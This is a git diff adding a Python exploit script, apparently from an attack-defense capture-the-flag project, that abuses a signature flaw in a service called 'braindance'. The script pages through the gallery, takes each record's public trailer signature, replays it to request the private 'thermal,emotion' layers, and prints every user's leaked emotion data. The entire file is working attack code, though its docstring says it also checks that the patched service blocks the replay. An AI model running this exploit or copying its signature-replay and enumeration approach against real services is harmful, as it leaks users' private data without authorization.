diff --git a/braindance/sploits/trailer_private.py b/braindance/sploits/trailer_private.py new file mode 100644 index 0000000..c7b197f --- /dev/null +++ b/braindance/sploits/trailer_private.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 + +"""Exploit the pre-patch private-layer trailer signature bug. + +The vulnerable service signed only the number of requested layers. A public +two-layer trailer signature could therefore be replayed for ``thermal,emotion``. +Against the patched service this script must report that every attempt is +blocked. +""" + +from __future__ import annotations + +import base64 +import sys +from typing import Any + +import requests + + +PORT = 5000 +TIMEOUT = 4 +PRIVATE_LAYERS = "thermal,emotion" + + +def log(message: str) -> None: + print(message, file=sys.stderr, flush=True) + + +def gallery(session: requests.Session, base: str) -> list[dict[str, Any]]: + records: list[dict[str, Any]] = [] + before: str | None = None + while True: + params: dict[str, Any] = {"limit": 200} + if before: + params["before"] = before + response = session.get(f"{base}/gallery", params=params, timeout=TIMEOUT) + response.raise_for_status() + data = response.json() + records.extend(data.get("records", [])) + before = data.get("next_cursor") + if not before: + return records + + +def run(target: str) -> int: + session = requests.Session() + session.trust_env = False + base = f"http://{target}:{PORT}" + records = gallery(session, base) + leaked = 0 + + for meta in records: + rid = str(meta["id"]) + record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT) + if record_response.status_code == 404: + continue + record_response.raise_for_status() + trailer = record_response.json().get("trailer") or {} + signature = trailer.get("sig") + if not signature: + continue + + response = session.get( + f"{base}/trailer/{rid}", + params={"layers": PRIVATE_LAYERS, "sig": signature}, + timeout=TIMEOUT, + ) + if response.status_code == 403: + continue + response.raise_for_status() + emotion_b64 = (response.json().get("layers") or {}).get("emotion") + if not emotion_b64: + continue + value = base64.b64decode(emotion_b64, validate=True).decode("utf-8", "replace") + leaked += 1 + print(f"{meta.get('owner', '?')} {rid}: {value}") + + log(f"target={target} records={len(records)} leaked={leaked}") + return 0 if leaked else 1 + + +def main() -> int: + if len(sys.argv) != 2: + log(f"usage: {sys.argv[0]} TARGET") + return 2 + try: + return run(sys.argv[1]) + except (KeyError, ValueError, requests.RequestException) as exc: + log(f"target={sys.argv[1]} error={exc}") + return 1 + + +if __name__ == "__main__": + raise SystemExit(main())